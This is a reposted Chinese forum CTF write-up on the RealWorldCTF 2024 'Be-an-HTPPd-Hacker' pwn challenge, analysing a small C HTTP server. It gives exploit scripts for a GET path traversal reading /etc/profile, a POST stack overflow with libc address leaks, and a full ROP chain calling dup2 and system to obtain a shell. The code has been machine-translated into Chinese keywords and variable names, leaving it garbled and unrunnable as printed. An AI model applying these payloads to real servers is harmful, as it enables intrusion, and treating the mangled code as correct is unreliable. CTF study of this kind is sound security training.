跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

深入解析RealWorldCTF 2024体验赛PWN方向题目

精选回复

发布于

## 前言

本报告旨在对RealWorldCTF 2024体验赛中的Pwn方向题——“Be-an-HTPPd-Hacker”进行深入分析和讲解。本课题涉及十一年前的一个项目,基于C语言实现HTTP协议。我们将对这个协议进行堆栈溢出攻击,探索现实世界中的攻击方法,学习更多有用的攻击技术来提高我们的安全水平。通过了解攻击原理和方法,我们可以更好地理解安全防御的重要性,为未来的安全工作做好准备。本报告将详细介绍攻击过程,希望为读者提供深入而有价值的学习体验。

## 搜索字符串,在github上找到源代码

使用shift+F12 从IDA 中提取以获取字符串。在github上搜索可以得到源代码:

[https://github.com/bnlf/httpd/blob/943cb06a09eb553096956b2e394b8366124e0aac/src/httpd.c] (https://github.com/bnlf/httpd/blob/943cb06a09eb553096956b2e394b8366124e0aac/src/httpd.c)

## 具体结构

构造的代码如下,是方法地址加协议:

````

方法、uri、vProtocol

````

如`POSTwww.baidu.comxxx`

源码如下:

````

请求parseRequest(char buffer[]) {

char *ptr=缓冲区;

char 方法[MAXLINE]、uri[MAXLINE]、vProtocol[MAXLINE];

请求请求;

sscanf(ptr, \'%s %s %s\', method, uri, vProtocol);

//一些GET 或POST

if(strcasecmp(方法,\'GET\')==0)

req.method=\'GET\';

否则if (strcasecmp(方法, \'POST\')==0)

req.method=\'POST\';

否则{

req.method=\'无效\';

req.vProtocol=\'无效\';

req.uri[0]='\\0';

返回请求;

}

//未来的测试。 Por Enquanto aceita que um uri valido

请求.uri=uri;

if(strcasecmp(vProtocol, \'HTTP/1.0\')==0)

req.vProtocol=\'HTTP/1.0\';

否则if (strcasecmp(vProtocol, \'HTTP/1.1\')==0)

req.vProtocol=\'HTTP/1.1\';

否则

req.vProtocol=\'HTTP/1.1\'; //特殊说明

返回请求;

}

````

## GET 路径遍历

在get请求中,经过简单的尝试和逆向工程,发现存在路径遍历,而且是直接拼接读取WWW。

````

else if (res.status==200 ) //好的

{

返回sendFile(req, res,connfd);

}

````

阅读源码,找到上面的内容。

路径遍历漏洞是一种常见的安全漏洞,通常发生在Web应用程序或文件系统中。它允许攻击者访问他们没有权限的文件或目录,通过修改文件路径绕过应用程序的访问控制机制。

但flag没有可读权限,只能通过readflag执行。

````

从邪恶之刃导入*

上下文(os='linux',arch='amd64')

# context(os='linux', arch='amd64', log_level='debug')

#GET /index.html HTTP/1.1

设置('./pwn')

libset('./libc.so.6')

rsetup('127.0.0.1',33333)

# rsetup('121.40.246.203',30594)

#暂停()

有效负载='GET' + '/img/./././etc/profile HTTP/1.0\\x00'

# 有效负载=b'POST /form-example.html/./img/./././add HTTP/1.1\\r\

'

暂停()

SL(有效负载)

ia()

````

这是读取/etc/profile的路径遍历。1708500268_65d5a52ca25b1194d3a63.png!small

## POST 堆栈溢出

其实要么是源码分析的差不多了,要么就是不太明白=的划分,就会出现奇怪的堆溢出。堆溢出主要是由于malloc的大小造成的。计算时

````

char *line=(char*) malloc(结束-开始);

````

,结束似乎小于开始。我们可以输入多个

使堆足够大以避免溢出。

代码可见:

````

int sendPostMessage(请求req, 响应res, int connfd, char *linePost){

字符缓冲区[MAXLINE];

//准备cabecalho HTML

sprintf(buffer, \'提交的表格\');

//Cria体

strcat(缓冲区,\'

接收变量

\');

strcat(缓冲区,\'\');

字符*pch;

字符温度[250];

pch=strtok(linePost,\'=\');

而(pch!=NULL)

{

sprintf(temp, \'\', pch);

strcat(缓冲区,临时);

pch=strtok(NULL,\'=\');

sprintf(temp, \'\', pch);

strcat(缓冲区,临时);

pch=strtok(NULL,\'=\');

}

//Fecha 正文e html

strcat(buffer, \'VariablesValues%s%s\');

sendHeader(connfd, req, res, \'确定\', \'text/html\');

写(connfd,缓冲区,strlen(缓冲区));

返回0;

}

````

也就是说按照or=拆分后会和temp相连。

【----帮助您学习网络安全,免费获取以下全部学习资料!添加vx:dctintin,注释“freebuf”即可获取! 】

① 网络安全学习与成长路径思维导图

② 60+经典网络安全工具包

③ 100+SRC漏洞分析报告

④ 150+实用网络安全攻防技术电子书

⑤ 最权威的CISSP认证考试指南+题库

⑥ 超过1800页的CTF实用技巧手册

⑦ 各大网络安全公司最新面试题合集(含答案)

⑧ APP客户端安全检测指南(Android+IOS)

行柱如下:

````

无效httpd(int connfd){

字符缓冲区[MAXLINE]; //缓冲区输入

字符文件缓冲区[MAXLINE];

请求请求; //为客户做足疗

响应资源; //回复仆人

结构体统计st;

整数n;

int 大小内容=-1;

//Le oque está vindo no socket

n=读取(connfd, 缓冲区, MAXLINE);

int i=strlen(缓冲区);

字符选项[MAXLINE];

int 状态读取=0;

strcpy(选项,缓冲区);

while(状态读取==0)

{

if((选项[i-3]=='\

' 选项[i-1]=='\

') ||选项[i-1] !='\

')

{

状态读取=1;

}

否则

{

n=read(connfd, 选项, MAXLINE);

//strcat(缓冲区,选项);

//printf(\'%s\

\',缓冲区);

i=strlen(选项);

if(选项[0]=='\\r' 选项[1]=='\

' n==2)

状态读取=1;

}

}

//解析需求

请求=parseRequest(缓冲区);

字符*linePost;

//遇到没有缓冲区的情况

if(strcmp(req.method, \'POST\')==0)

{

linePost=getLastLineRead(缓冲区);

}

//…

````

````

char *getLastLineRead(char *buffer) {

int 行数=0;

int 开始=0;

整数结束=0;

int bufSize=strlen(缓冲区);

整数i=0;

整数j=0;

对于(i=0;i\')

堆栈=u32(rv(4))

dx(堆栈)

ld=u32(rv(4))-0xc0c

dx(LD)

libc=u32(rv(4))-2324400

dx(libc)

ia()

````

泄漏得到:

````

----------------

你的堆栈是0xff9c9f0a

----------------

----------------

你的ld 是0xedf40000

----------------

----------------

你的libc是0xedcca000

----------------

````

## 构造ROP

从这部分我们可以发现,原来的内容会按照=进行划分,然后添加一个这样的字符串,使得字符串长度变大,导致堆栈溢出。然后我们根据之前获得的基地址和这个部分漏洞进行ROP构建,得到shell。

````

字符*pch;

字符温度[250];

pch=strtok(linePost,\'=\');

而(pch!=NULL)

{

sprintf(temp, \'%s\', pch);

strcat(缓冲区,临时);

pch=strtok(NULL,\'=\');

sprintf(temp, \'%s\', pch);

strcat(缓冲区,临时);

pch=strtok(NULL,\'=\');

}

````

进行如下构造,经过多次尝试,终于得到了控制返回地址为xxxx:

````

从邪恶之刃导入*

上下文(os='linux',arch='amd64')

设置('./pwn')

libset('./libc.so.6')

rsetup('127.0.0.1',33333)

有效负载=b'POST '+ b'A='*1850

#测试=循环(0x700).decode()

#modified_test=''.join(['=' if (i) % 5==0 else test[i] for i in range(len(test))])

#d(修改后的测试)

有效负载=b'POST /A\

'+ b\'A\'*2400 + b\'\

\'

有效负载+=b\'=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=ja ab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=a aeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aaf q=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=ai ma=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp\'

有效负载+=b\'=\' + p32(0xeb029050)*10+ b\'xxxx\' + b\'=\'

d(有效载荷)

dpx('len',len(有效负载))

暂停()

SD(有效负载)

````

其中xxxx是任意地址,可以退回!1708500277_65d5a5358b18aa06b85fa.png!small

由于sprintf,\x00而无法输入

作为一个rop,我使用加法和减法来绕过它。首先输入不包含0和0a的字符,然后根据加减法恢复出我们需要的字符。

搜索包括:

````

pwndbg搜索-40x11111111

搜索value: b'\\x11\\x11\\x11\\x11'

libc.so.60xf0ca28f40x11111111

libc.so.60xf0ca2a080x11111111

libc.so.60xf0ca2a0c0x11111111

计算:

λ~/python

Linux 上的Python 3.11.6(主要,2023 年11 月14 日,09:36:21)[GCC 13.2.1 20230801]

输入“帮助”、“版权”、“制作人员名单”或“许可证”以获取更多信息。

十六进制(0xf0ca28f4 -0xf0af1000)

'0x1b18f4'#这是libc偏移量

十六进制(0x100000000-0x11111111)

‘0xeeeeeeef’

````

然后我们使用上面的差值计算,其中0x11111111+0xeeeeeeef之和等于0。

构建的ROP如下:

````

Push_esi=p32(libc+0x00061c0d) # 推送esi;雷特

nop_ret=p32(libc+0x0002fce8) # nop;雷特

读取=p32(symoff(\'读取\',libc))

pop_ebx=p32(0x0002c01f+libc) # 弹出ebx;雷特

add_ebx=p32(0x001959c2 +libc)# 添加ebx, eax;添加eax, 2;转)

pop_eax=p32(libc+0x0002ed92)#: 弹出eax ;转)

add_ecx=p32(libc+0x000b4fd3) # : 添加ecx, dword ptr [ebx +0x5f082444] ;转)

#dup2($ebx,$ecx)

rop=pop_esi + dup22

rop +=pop_ebx + p32(libc+0x1b18f4-0x5f082444)

rop +=pop_ecx_eax + p32(0xeeeeeeef)*2

rop +=add_ecx #$ecx=0

rop +=pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)

rop +=add_ebx #$ebx=4

罗普+=push_esi

rop +=pop_esi + dup22

rop +=pop_ebx + p32(libc+0x1b18f4-0x5f082444)

rop +=pop_ecx_eax + p32(0xeeeeeeef+0x1)*2

rop +=add_ecx #$ecx=1

rop +=pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)

rop +=add_ebx #$ebx=4

罗普+=push_esi

rop +=p32(symoff(\'system\',libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5)

如果rop 中的b\'=\' 或rop: 中的b\'\\x00\'

print(\'停下来!\')

暂停()

有效负载=b'POST'+ b\'A\'*2400 + b\'\

\'

有效负载+=b\'=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=ja ab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=a aeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aaf q=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=ai ma=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp\'

有效负载+=b\'=\' + (nop_ret)*10

有效载荷+=罗普

负载+=b\'=\'

````

完整的exp如下:

````

从邪恶之刃导入*

上下文(os='linux',arch='amd64')

设置('./pwn')

libset('./libc.so.6')

rsetup('127.0.0.1',33333)

有效负载=b'POST'+ b'A'*3982 + b'\

'

SL(有效负载)

ru(\'值\')

堆栈=u32(rv(4))-0x1ed0a

dx(堆栈)

ld=u32(rv(4))-0xc0c

dx(LD)

libc=u32(rv(4))-2324400

dx(libc)

关闭()

rsetup('127.0.0.1',33333)

有效负载=b'POST '+ b'A='*1850

#测试=循环(0x700).decode()

#modified_test=''.join(['=' if (i) % 5==0 else test[i] for i in range(len(test))])

#d(修改后的测试)

sub_eax_ecx=p32(libc +0x0018b0f8) # 子eax, ecx;雷特

Push_eax=p32(libc +0x00036a7d) # 推送eax;雷特

pop_ecx_eax=p32(libc +0x001280f4) # 弹出ecx;弹出eax;雷特

dup22=p32(symoff(\'dup2\',libc)+0xe)

Push_edx=p32(libc+0x00192ac8) # 推送edx;雷特

pop_edx=p32(libc+0x00037375) # 弹出edx;雷特

pop_esi=p32(libc+0x00021479) # 弹出esi;雷特

Push_esi=p32(libc+0x00061c0d) # 推送esi;雷特

nop_ret=p32(libc+0x0002fce8) # nop;雷特

读取=p32(symoff(\'读取\',libc))

pop_ebx=p32(0x0002c01f+libc) # 弹出ebx;雷特

add_ebx=p32(0x001959c2 +libc)# 添加ebx, eax;添加eax, 2;转)

pop_eax=p32(libc+0x0002ed92)#: 弹出eax ;转)

add_ecx=p32(libc+0x000b4fd3) # : 添加ecx, dword ptr [ebx +0x5f082444] ;转)

#dup2($ebx,$ecx)

rop=pop_esi + dup22

rop +=pop_ebx + p32(libc+0x1b18f4-0x5f082444)

rop +=pop_ecx_eax + p32(0xeeeeeeef)*2

rop +=add_ecx #$ecx=0

rop +=pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)

rop +=add_ebx #$ebx=4

罗普+=push_esi

rop +=pop_esi + dup22

rop +=pop_ebx + p32(libc+0x1b18f4-0x5f082444)

rop +=pop_ecx_eax + p32(0xeeeeeeef+0x1)*2

rop +=add_ecx #$ecx=1

rop +=pop_ebx + p32(0xeeeeeeef) + pop_eax + p32(0x11111111+0x4)

rop +=add_ebx #$ebx=4

罗普+=push_esi

rop +=p32(symoff(\'system\',libc)) + p32(0xdeadbef) + p32(libc+0x001bd0d5)

如果rop 中的b\'=\' 或rop: 中的b\'\\x00\'

print(\'停下来!\')

暂停()

有效负载=b'POST'+ b\'A\'*2400 + b\'\

\'

有效负载+=b\'=aaxxca=adaaaaa=eaaaa=aaag=aaha=aiaa=jaaa=aaal=aama=anaa=oaaa=aaaq=aara=asaa=taaa=aaav=aawa=axaa=yaaa=aabb=abca=bdaa=eaab=aabg=abha=biaa=ja ab=aabl=abma=bnaa=oaab=aabq=abra=bsaa=taab=aabv=abwa=bxaa=yaab=aacb=acca=cdaa=eaac=aacg=acha=ciaa=jaac=aacl=acma=cnaa=oaac=aacq=acra=csaa=taac=aacv=acwa=cxaa=yaac=aadb=adca=ddaa=eaad=aadg=adha=diaa=jaad=aadl=adma=dnaa=oaad=aadq=adra=dsaa=taad=aadv=adwa=dxaa=yaad=aaeb=aeca=edaa=eaae=a aeg=aeha=eiaa=jaae=aael=aema=enaa=oaae=aaeq=aera=esaa=taae=aaev=aewa=exaa=yaae=aafb=afca=fdaa=eaaf=aafg=afha=fiaa=jaaf=aafl=afma=fnaa=oaaf=aaf q=afra=fsaa=taaf=aafv=afwa=fxaa=yaaf=aagb=agca=gdaa=eaag=aagg=agha=giaa=jaag=aagl=agma=gnaa=oaag=aagq=agra=gsaa=taag=aagv=agwa=gxaa=yaag=aahb=ahca=hdaa=eaah=aahg=ahha=hiaa=jaah=aahl=ahma=hnaa=oaah=aahq=ahra=hsaa=taah=aahv=ahwa=hxaa=yaah=aaib=aica=idaa=eaai=aaig=aiha=iiaa=jaai=aail=ai ma=inaa=oaai=aaiq=aira=isaa=taai=aaiv=aiwa=ixaa=yaai=aajb=ajca=jdaa=eaaj=aajg=ajha=jiaa=jaaj=aajl=ajma=jnaa=oaaj=aajq=ajra=jsaa=taaj=aajv=ajwa=jxaa=yaaj=aakb=akca=kdaa=eaak=aakg=akha=kiaa=jaak=aakl=akma=knaa=oaak=aakq=akra=ksaa=taak=aakv=akwa=kxaa=yaak=aalb=alca=ldaa=eaal=aalg=pppp\'

有效负载+=b\'=\' + (nop_ret)*10

有效载荷+=罗普

负载+=b\'=\'

d(有效载荷)

dpx('len',len(有效负载))

dpx(\'开始\',uu64(pop_esi))

dpx(\'nop\',uu64(nop_ret))

dx(堆栈)

暂停()

SD(有效负载)

ia()

````

攻击结果:1708500278_65d5a536eedbca31b7bfc.png!small

````

转载自freebuf:[https://www.freebuf.com/defense/392232.html](https://www.freebuf.com/defense/392232.html)

作者:蚁视科技

````

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。